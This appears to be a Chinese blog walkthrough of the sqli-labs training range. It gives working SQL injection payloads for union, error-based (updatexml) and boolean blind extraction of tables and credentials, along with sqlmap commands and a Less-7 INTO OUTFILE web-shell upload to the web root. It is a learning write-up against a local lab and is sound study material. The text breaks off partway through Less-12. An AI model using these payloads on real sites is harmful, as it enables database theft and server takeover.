SQL注入实操(Less1-20)

文章目录

  • 一、sqli-lab靶场搭建
  • 二、通关笔记
    • 1.Less-1
      • a.单引号‘
      • b.updatexml
      • c.concat
      • d.union
      • e.information_schema
      • f.GROUP_CONCAT
      • g.select 1,2
    • 2.Less-2
    • 3.Less-3
      • a.怎么找到注入点
      • b.判断SQL注入漏洞的类型
      • c.闭合语句
      • d.如何判断显示位
      • e.答案
    • 4.Less-4
    • 5.Less-5
      • a.判断注入漏洞的依据
      • b.bool注入原理
      • c.sqlmap安装和使用
      • d.盲注获取数据库长度
      • e.substr
      • f.盲注获取当前数据库名称
      • h.盲注获取当前表名称
      • i.盲注获取某个表所有列名称
      • j.盲注获取密码
    • 6.Less-6
      • a.获取数据库名称
      • b.获取表信息
      • c.获取列信息
      • d.获取表内数据
    • 7.Less-7
    • 8.Less-8
      • a.获取数据库名称
      • b.获取表信息
      • c.获取列信息
      • d.获取表内数据
    • 9.Less-9
      • a.注入点判断
      • b.字符型判断
      • c.列数判断
      • d.获取数据库名称
      • e.获取表信息
      • f.获取列信息
      • g.获取表内数据
    • 10.Less-10
      • a.注入点判断
      • b.字符型判断
      • c.列数判断
      • d.获取数据库名称
      • e.获取表信息
      • f.获取列信息
      • g.获取表内数据
    • 11.阶段总结
    • 12.Less-11
      • a.注入点判断
      • b.字符型判断
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 13.Less-12
      • a.注入点判断
      • b.获取数据库名称
      • c.获取表信息
      • d.获取列信息
      • e.获取表内数据
    • 14.Less-13
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 15.Less-14
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 16.Less-15
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称+burp爆破
      • d.获取表信息
      • e.获取列信息
    • 17.Less-16
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 18.Less-17
      • a.注入点判断
      • b.获取数据库名称
      • c.获取表信息
      • d.获取列信息
      • e.获取表内数据
    • 19.Less-18
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 20.轮子模式总结
    • 21.Less-19
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 22.Less-20
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
  • 三、python读取网页返回工具

一、sqli-lab靶场搭建

下载路径:https://www.hibugs.net/hi-resource/sqli-labs-master.zip
下载后解压复制到www目录,然后进入sql-connections
SQL注入实操(Less1-20)_第1张图片

文本编辑db-creds.inc,填写数据库密码
SQL注入实操(Less1-20)_第2张图片

pikachu的php版本改为7以下
SQL注入实操(Less1-20)_第3张图片

然后打开网页安装数据库
SQL注入实操(Less1-20)_第4张图片

安装成功的界面如下
SQL注入实操(Less1-20)_第5张图片

接下来就可以进入靶场了
SQL注入实操(Less1-20)_第6张图片

二、通关笔记

1.Less-1

输入?id=1时
SQL注入实操(Less1-20)_第7张图片

发现?id=1到?id=14都有数据
SQL注入实操(Less1-20)_第8张图片

a.单引号‘

sql注入加单引号的缘由是为了让sql语句产生毛病,从而得知其有无过滤措施,例如:
一开始SQL语句是这样的:
select * from users where id=‘1’
当你加了单引号后变成了这样:
select * from users where id=‘1’’
这样是不符合sql语法规则的,因此会报错,若没报错,说明有多是被过滤掉或有其他防护手段。
接下来尝试让它报错,加个引号试下
SQL注入实操(Less1-20)_第9张图片

发现14在错误信息里一起出来了
接下来先学习一个报错注入函数

b.updatexml

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

c.concat

第二个函数是字符串拼接concat
SQL注入实操(Less1-20)_第10张图片

显然把用户名和~连接起来了
select updatexml(1,concat(0x7e,(SELECT user())),0x7e);
在这里插入图片描述

报错说明是参数2出现xpath注入,而且把数据库名也带在报错信息里了,因此我们可以利用这个漏洞进行注入
接下来继续学习一个方法,union

d.union

union会自动压缩多个结果集合中重复的结果,使结果不会有重复行,union all 会将所有的结果共全部显示出来,不管是不是重复。
union:会对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序。
如果要合并两个结果集,那么他们的列数必须相同
SQL注入实操(Less1-20)_第11张图片SQL注入实操(Less1-20)_第12张图片SQL注入实操(Less1-20)_第13张图片

而select updatexml(1,concat(0x7e,(SELECT user())),0x7e)的结果是一行一列
而http://127.0.0.1:9009/Less-1/?id=14’的结果也是一行一列,因此可以合并
合并后应该是2行一列,把结果二放在最后一行
SQL注入实操(Less1-20)_第14张图片

使用联合注入的方法居然出来了
1’ union select updatexml(1,concat(0x7e,(SELECT user())),0x7e)’
SQL注入实操(Less1-20)_第15张图片

但是实际上不是,是直接抛出后面的错误了
SQL注入实操(Less1-20)_第16张图片在这里插入图片描述

可以发现不管是在前面还是后面,都是抛出同样的错误,说明只要有报错,就直接抛出报错信息,不合并
先这样猜想,后面再验证下是不是
SQL注入实操(Less1-20)_第17张图片

现在我们拿到了当前数据库名,接下来我们需要这个数据库里有哪些表

e.information_schema

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘security’;
使用information_schema可以查询到指定数据库有哪些表
SQL注入实操(Less1-20)_第18张图片

f.GROUP_CONCAT

GROUP_CONCAT函数可以将多行结果集拼接成一个字符串
在这里插入图片描述

现在我们把这个方法用到靶场里
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’;

g.select 1,2

14’ union select 1,2,updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’)),0x7e)’
加入1,2是为了凑显示位,以后可以用这种方法找出需要的列数
执行成功了
SQL注入实操(Less1-20)_第19张图片

但是发现这里表名显示不全,估计是因为updatexml的原因,看下能否不用它显示出来
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ’
h.id=-1
把 id修改成-1说明左边的结果查不到,然后腾出显示位给右边的结果集
SQL注入实操(Less1-20)_第20张图片

接下来呢,我们当然要看user里的数据,在此之前我们先找出user里有哪些列名
select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”;
在这里插入图片描述

-1’ union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”’
SQL注入实操(Less1-20)_第21张图片

现在我们知道了users的列名,接下来当然是查出数据了
SQL注入实操(Less1-20)_第22张图片

i.–+
–+把后面的 ’ LIMIT 0,1 给注释掉了
-1’ union select 1,2, group_concat(username, ‘:’, password) from users --+
SQL注入实操(Less1-20)_第23张图片

2.Less-2

这一关和第一关几乎一样,只是需要把单引号去掉
获取数据库名
1 union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
SQL注入实操(Less1-20)_第24张图片

获取表名
-1 union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
SQL注入实操(Less1-20)_第25张图片

获取列名
-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
SQL注入实操(Less1-20)_第26张图片

获取用户名密码
-1%20 union select%20 1,2, group_concat(username, ‘:’, password) from users --+
SQL注入实操(Less1-20)_第27张图片

3.Less-3

SQL注入实操(Less1-20)_第28张图片在这里插入图片描述
在这里插入图片描述

a.怎么找到注入点

在我们可控的输入部分加一些符号,查看页面是否正常
www.example.com/index.php?id=1,这里的id变量是用户可控的
如何判断是否存在sql注入?
“加引号”法 无论字符型还是整型都会因为单引号个数不匹配而报错
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入。)
在这里插入图片描述

直接加’说明存在注入点

b.判断SQL注入漏洞的类型

方法1:
id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
方法2:
url中输入?id=1 and 1=1 页面依旧正常运行,继续下一步
url中输入?id=1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
方法3:
url中输入1’ and ‘1’ = ‘1,页面运行正常,继续进行下一步。
url中继续输入1’ and ‘1’ = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
SQL注入实操(Less1-20)_第29张图片

第1关是字符型
SQL注入实操(Less1-20)_第30张图片

第2关是数字型
SQL注入实操(Less1-20)_第31张图片

第3关还是字符型
SQL注入实操(Less1-20)_第32张图片

c.闭合语句

单引号/双引号,注释
数字型的注入,不需要闭合就可以直接进行注入。(如果系统做了数字型传入的判断,就防止注入)如上面的第2关
字符型的注入,$id多为字符型输入,需要进行闭合
注释–+的目的:为了过滤掉多余的字符不让它影响我们构造的sql语句执行
通过闭合跟注释,构造出了一段空区域,这段空白区域可以由我们自己构造注入语句去代入到数据库执行。(查询数据库,表,字段)

d.如何判断显示位

方法1
order by n 排序
www.example.com/index.php?id=1’ order by n –
如果说n=3的时候页面正常,n=4的时候页面显示不正常,则可以判断出3个字段。
方法2
通过联合查询的方式判断哪些是显示字段
www.example.com/index.php?id=0’ union select 1,2,3 #
通过报错分析过滤点
在这里插入图片描述

#猜测试sql语句
select Login_name,Password from table_name where id = (‘ID’) limit 0,1;
第三关猜测id那里被加了(“id”),尝试添加)闭合

e.答案

1 ') union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
获取数据库名(记住字符型后面需加注释–+)
SQL注入实操(Less1-20)_第33张图片

获取表名
-1’) union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
SQL注入实操(Less1-20)_第34张图片

获取列名
-1’) union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
SQL注入实操(Less1-20)_第35张图片

获取用户名密码
-1’) union select%20 1,2, group_concat(username, ‘:’, password) from users --+
SQL注入实操(Less1-20)_第36张图片

4.Less-4

发现加引号并没报错,那应该怎么注入呢
SQL注入实操(Less1-20)_第37张图片

发现需要用双引号才能触发错误
在这里插入图片描述

结合上题的经验
获取数据库名
1 ") union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
SQL注入实操(Less1-20)_第38张图片

获取表名
-1") union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
SQL注入实操(Less1-20)_第39张图片

获取列名
-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
在这里插入图片描述

获取用户名密码
-1") union select%20 1,2, group_concat(username, ‘:’, password) from users --+
SQL注入实操(Less1-20)_第40张图片

5.Less-5

获取数据库名
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
SQL注入实操(Less1-20)_第41张图片

但是获取表名时没有显示位
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’

a.判断注入漏洞的依据

SQL注入实操(Less1-20)_第42张图片

b.bool注入原理

SQL注入实操(Less1-20)_第43张图片
当我们输入id=1 和id=15时页面返回You are in和不返回的提示,我们得到的信息很少。这和之前的联合注入有很大的不同。


$username = $_POST['username'];
$password = md5($_POST['password']);

//准备sql查询
$sql = "select * from users where username='{$username}' and password='{$password}' limit 0,1";
//执行sql
$result = mysql_query($sql);
//取得一行结果
$row = mysql_fetch_array();
if(empty($row)){
	echo "用户名或密码不存在";
}else{
	echo "登录成功";
} 

上面不会显示结果,但是只有两种状态,就是成功和失败。这们通过这种两种状态来进行获取数据库内容的方试就叫bool注入
如以下的验证方式,正常通过是这样的
SQL注入实操(Less1-20)_第44张图片而bool条件中有一个为假则不返回
SQL注入实操(Less1-20)_第45张图片接下来我们需要用到一个工具来对付bool盲注,就是sqlmap
先看下怎么安装

c.sqlmap安装和使用

下载路径 https://sqlmap.org/
然后cmd下执行命令
python sqlmap.py http://127.0.0.1:9009/Less-5/?id=14 --current-db --dump --batch开始渗透
发现已经可以全部查出来了
SQL注入实操(Less1-20)_第46张图片SQL注入实操(Less1-20)_第47张图片现在我们不使用工具,只是单纯使用url和sql语句,看能否爆出数据
SQL注入实操(Less1-20)_第48张图片

我们知道原先数据库里有12个数据库
那么我们怎么知道当前用的是哪个数据库,以及数据库长度,数据库名称呢
我们知道sql里可以这样查出来
SQL注入实操(Less1-20)_第49张图片

那么怎么在url里盲注验证这个结果呢

d.盲注获取数据库长度

通过以下方法逐个试出数据长度
id=14’ and length(database())=8 --+
在这里插入图片描述

知道了长度有啥用呢,再猜下数据库首字母吧

e.substr

这里我们需要学习一个新的函数,substr
作用是:从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
用法:substr(obj,start,length)注意start是从1开始,不是从0
所以我们用这个方法获得数据库首字母

f.盲注获取当前数据库名称

14’ and substr(database(), 1, 1)=‘s’ --+
通过这个方法我们得知数据库第一个字母是s
SQL注入实操(Less1-20)_第50张图片

当然我们还可以继续试第二个字母,第三个字母…,直到把8个字母全部试出来
SQL注入实操(Less1-20)_第51张图片SQL注入实操(Less1-20)_第52张图片SQL注入实操(Less1-20)_第53张图片

SQL注入实操(Less1-20)_第54张图片
SQL注入实操(Less1-20)_第55张图片SQL注入实操(Less1-20)_第56张图片SQL注入实操(Less1-20)_第57张图片通过上面逐个字母的测试,我们终于知道了数据库名称是security
但是这种方法是不是觉得有点笨,有没有循环试错的方法呢
有的,这是我写的存储过程

delimiter //                            #定义标识符为双斜杠
drop procedure if exists test;          #如果存在test存储过程则删除
create procedure test()                 #创建无参存储过程,名称为test
begin
   declare i int;
   declare j int;
   declare name VARCHAR(255);
   set j = 1;
   set name = "";
   while j <= 8 do
      set i = 0;
      while i < 26 do                     #结束循环的条件: 当i大于26时跳出while循环 
         if(substr(database(), j, 1)=CHAR(ascii('a')+i)) THEN
            set name  = concat(name, CHAR(ascii('a')+i));
            select name, CHAR(ascii('a')+i);
         END IF;  
	     set i = i + 1;
      end while; 
      set j = j + 1;
   end while;                          #结束while循环
   select * from test;
   SELECT name;
end 
//                                      #结束定义语句
delimiter ;
call test();

你看,是不是一次性全都查出来了但是怎么让它在页面里执行呢,感觉有点难度
SQL注入实操(Less1-20)_第58张图片

接下来我们需要用同样的方法爆出表长度,表名称

h.盲注获取当前表名称

在这里插入图片描述

首先还是猜出长度,经验是可以先使用>,<之类的先圈定范围,然后再使用=,其实后面的字母枚举也可以用这种方法
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
SQL注入实操(Less1-20)_第59张图片SQL注入实操(Less1-20)_第60张图片

知道了长度接下来就是爆出这段字符串了
14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 1, 1)=‘e’ --+
SQL注入实操(Less1-20)_第61张图片

http://127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 2, 1)=‘m’ --+
SQL注入实操(Less1-20)_第62张图片

后面的操作都一样的,在此不加赘述

i.盲注获取某个表所有列名称

比如我们需要知道users这个表里有哪些列
那么用盲注的方法该怎么拿到呢
在这里插入图片描述

一样的逻辑,先爆出长度
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
SQL注入实操(Less1-20)_第63张图片

然后逐个猜出字符
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 1, 1)=‘i’ --+
SQL注入实操(Less1-20)_第64张图片

14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’ --+
SQL注入实操(Less1-20)_第65张图片

j.盲注获取密码

在这里插入图片描述

密码里居然有特殊符号,而且这么长,看来不用工具做是不行了
老办法,还是先搞长度
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
天哪长度188
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
用word算下也确实如此
SQL注入实操(Less1-20)_第66张图片

接下来我打算用第三节自己开发的工具爆破出这一大段文字密码

当个枚举语法是
14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), d 1 , 1 ) = d1, 1)= d1,1)=d2 --+
替换进去,并把长度改成188,运行一下看看

在这里插入图片描述
在这里插入图片描述

好家伙,uil1.txt就写了1m多,没关系,先看下结果,虽然还没全部跑完,但是前面这几个全都对上了
SQL注入实操(Less1-20)_第67张图片

至此该关卡结束

6.Less-6

第6关也是盲注
但是发现一个问题,就是加单引号不管加几个页面都没变化,怀疑是不是有延时盲注
SQL注入实操(Less1-20)_第68张图片

a.获取数据库名称

1 " union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
SQL注入实操(Less1-20)_第69张图片

不是时间盲注,只是必须id那里用双引号而已

b.获取表信息

14" and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
同样的,用我的工具跑一次
url = "127.0.0.1:9009/Less-6/?id=14\” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
SQL注入实操(Less1-20)_第70张图片

结果完全正确

c.获取列信息

14" and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
SQL注入实操(Less1-20)_第71张图片

url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
SQL注入实操(Less1-20)_第72张图片

d.获取表内数据

14" and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
SQL注入实操(Less1-20)_第73张图片

url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
j = ‘a’
fp = open(“url1.txt”, “w”)
#21是目标长度
writeurl(fp, url, “, 1)=”, “–+\n”, 188+1)
显然,全都正确
SQL注入实操(Less1-20)_第74张图片

7.Less-7

第7关彻底连数据库名称也拿不到了
SQL注入实操(Less1-20)_第75张图片

127.0.0.1:9009/Less-7/?id= 14’ or 1=1 --+
发现id后面加’号界面呈周期性变化,证明存在sql注入
但是or或者and不管是真是假都没用,只看id那里的真假
那么怎么构造轮子呢,这关太恶心了,不单id有两个括号,后面也被加了两个括号
SQL注入实操(Less1-20)_第76张图片

14’)) and length(database())=8–+((
使用order by判断列数14’)) order by 4 --+
SQL注入实操(Less1-20)_第77张图片SQL注入实操(Less1-20)_第78张图片

这里一直说use outfile是啥意思呢,应该是个新的知识点,只能网上先查下了
网上查了说是可以通过联合注入上传,但是我这边根本上传不了,查了下
show variables like ‘%secure%’;
SQL注入实操(Less1-20)_第79张图片

secure_file_priv NULL说明是禁止上传,怎么改这个设置呢
SQL注入实操(Less1-20)_第80张图片

方法是找到phpstudy安装路径下的这个地方,打开my.ini
如果存在secure_file_priv就将其修改为secure_file_priv=“”
若不存在添加secure_file_priv=""即可
然后重启mysql,再查发现没了
SQL注入实操(Less1-20)_第81张图片

1’)) union select 1,2,“” into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\hyc.php” --+
然后我们再去页面看下能否上传
居然成功了
SQL注入实操(Less1-20)_第82张图片

好,用菜刀连下,居然也成功了,不过这个条件太苛刻了,估计也只有这个例子可用了
1,show variables like ‘%secure%’;用来查看mysql是否有读写文件的权限
2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限
3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
SQL注入实操(Less1-20)_第83张图片

8.Less-8

第8关加单引号存在周期性报错,说明id处存在sql注入点
SQL注入实操(Less1-20)_第84张图片

使用1 order by 9999 --+检测发现是字符型
SQL注入实操(Less1-20)_第85张图片

继续判断列数1’ group by 3 --+,发现列数为3
SQL注入实操(Less1-20)_第86张图片

期间任何输入输出只有You are in…或空两种情况,说明存在sql盲注可能性

a.获取数据库名称

使用14’ and length(database())=8–+获取数据库名称长度时发现id处没有过滤
SQL注入实操(Less1-20)_第87张图片

使用工具爆破下数据库用户名
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((database()), 1), "
writeurl(fp, url, “, 1)=”, “–+\n”, 8+1)
在这里插入图片描述

b.获取表信息

14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
SQL注入实操(Less1-20)_第88张图片

爆破表名
"127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

c.获取列信息

14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
SQL注入实操(Less1-20)_第89张图片

url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

d.获取表内数据

14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
SQL注入实操(Less1-20)_第90张图片

url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述

比对下,除了全部是小写之外其他全部正确
SQL注入实操(Less1-20)_第91张图片

9.Less-9

第9关有点奇怪,怎么输页面都没变化
SQL注入实操(Less1-20)_第92张图片

只能借助bp看字段长度了
在这里插入图片描述

发现报错时长度是974,正常时937

a.注入点判断

那好,现在先看下注入点是否有变化,发现加单引号没任何变化
但是加’)–+后发现有变化了,猜测原id被加了括号,而且是字符型,(‘id’)
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+检测一下确实是字符型
SQL注入实操(Less1-20)_第93张图片

c.列数判断

1’ group by 3 --+检验一下列数发现是3列
在这里插入图片描述

接下来看看能否获取数据库名称长度

d.获取数据库名称

14’ and length(database())=8–+,还真可以,说明是8
在这里插入图片描述

看下字母枚举14’ and substr(substr((database()), 1), 1, 1)=‘s’–+,长度响应确实对了,但是页面一直没刷新怎么办呢,不然工具都没法抓数据,或者工具里增加一个功能,获取返回的长度,如果内容没变化就看长度,当然事先需要给工具告知一个正确的长度,这样它知道怎么找
在这里插入图片描述

找长度,其实就是提取这个值
在这里插入图片描述

所以接口方法应该是类似
def getlength(text, value):
text是html网页内容
value是正确的长度,这里是707
结果是返回正确还是错误长度
工具里增加一个分支,使用该分支爆破结果也出来了
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((database()), 1), "
SQL注入实操(Less1-20)_第94张图片

e.获取表信息

14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现937说明29正确
在这里插入图片描述

爆破表名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "

表名也爆破出来了

f.获取列信息

14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现937说明列长度是20
在这里插入图片描述

爆破列名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

g.获取表内数据

14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现937说明长度是188
在这里插入图片描述url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述完全正确

10.Less-10

终于到第10关了,看下这关有什么陷阱
http://127.0.0.1:9009/Less-10/?id=15
和上一关一样的模式?发现正确长度是939

a.注入点判断

至对”敏感,说明存在注入点
http://127.0.0.1:9009/Less-10/?id=14 “
在这里插入图片描述

b.字符型判断

用1 order by 9999 --+检测一下确实是字符型
在这里插入图片描述

c.列数判断

1" group by 3 --+检验一下列数发现是3列
在这里插入图片描述

d.获取数据库名称

1" and length(database())=8–+
在这里插入图片描述

说明长度是8
爆破数据库名称,记得要将长度改成709
在这里插入图片描述

url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((database()), 1), "
在这里插入图片描述

e.获取表信息

14” and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现939说明长度是29
在这里插入图片描述

表名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
在这里插入图片描述

f.获取列信息

14” and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现939说明正确长度是20
在这里插入图片描述

列名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
在这里插入图片描述

g.获取表内数据

14” and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现939说明长度是188
在这里插入图片描述

表数据爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
在这里插入图片描述

11.阶段总结

前10关终于做完了,告一段落,先总结一下
首先拿到站点,先判断一下是否存在注入,用’之类的方法判断其敏感性,注意有些需要加)之类的闭合,然后看情况换成”
其次用1 order by 9999 --+判断是字符型还是数字型
接着用1’ group by 3 --+判断列数,即显示位
用1’ and length(database())=8–+判断数据库名称长度
用id=14’ and substr(substr((database()), 1), "爆破数据库名

用id=14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
判断表名长度
用id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), " 爆破表名

用14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
判断列名长度
用id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "爆破列名

用14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
判断表数据长度
用id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "爆破数据

12.Less-11

SQL注入实操(Less1-20)_第95张图片

显然这关不能再在url里注入了,怎么输都没变化
那么看来只能从输入框注入了

a.注入点判断

SQL注入实操(Less1-20)_第96张图片在这里插入图片描述

发现用户框或密码框存在注入,加单引号呈现周期性报错
SQL注入实操(Less1-20)_第97张图片

b.字符型判断

用1 order by 9999 --+分别检测一下确实都是字符型

c.获取数据库名称

用户框输入
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
密码框输入’ 1
SQL注入实操(Less1-20)_第98张图片

看来这个不是盲注了

d.获取表信息

用户框输入,同时通过select 1,2之类的尝试测试出显示位
1’ union select 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
密码框输入’1,前面的单引号起到和前面闭合的作用
SQL注入实操(Less1-20)_第99张图片

表名没输出来,但是提示登录成功了,啥情况,猜测这里还是只能用报错注入updatexml
用户名输入
1’ union select 1, updatexml(1, (select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ), 0x7e)
密码还是’1
SQL注入实操(Less1-20)_第100张图片

结果出来了,但是显示不全,看来用updatexml就是有这个毛病
查下updatexml有没有完整输出的方法
用户名
1’ union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
SQL注入实操(Less1-20)_第101张图片

这样居然全都拿到了
其实还有一个逐个提取分页显示的方法
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select table_name FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1), 0x7e),1)
SQL注入实操(Less1-20)_第102张图片

然后逐个增加上图0这个数字用于切换行数
在这里插入图片描述

e.获取列信息

这次我们就直接提取了,用户名直接输入
1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
SQL注入实操(Less1-20)_第103张图片

f.获取表内数据

1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(username, ‘:’, password) from users limit 0,1),0x7e), 0x7e)
SQL注入实操(Less1-20)_第104张图片

看来还是得分页提取
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
SQL注入实操(Less1-20)_第105张图片

然后逐个修改0的数值
SQL注入实操(Less1-20)_第106张图片

然后我们用获取到的这第11个用户名密码登录下,发现登录成功了,ok,本关结束
在这里插入图片描述

13.Less-12

a.注入点判断

发现对双引号敏感,用户名密码存在sql注入
SQL注入实操(Less1-20)_第107张图片

b.获取数据库名称

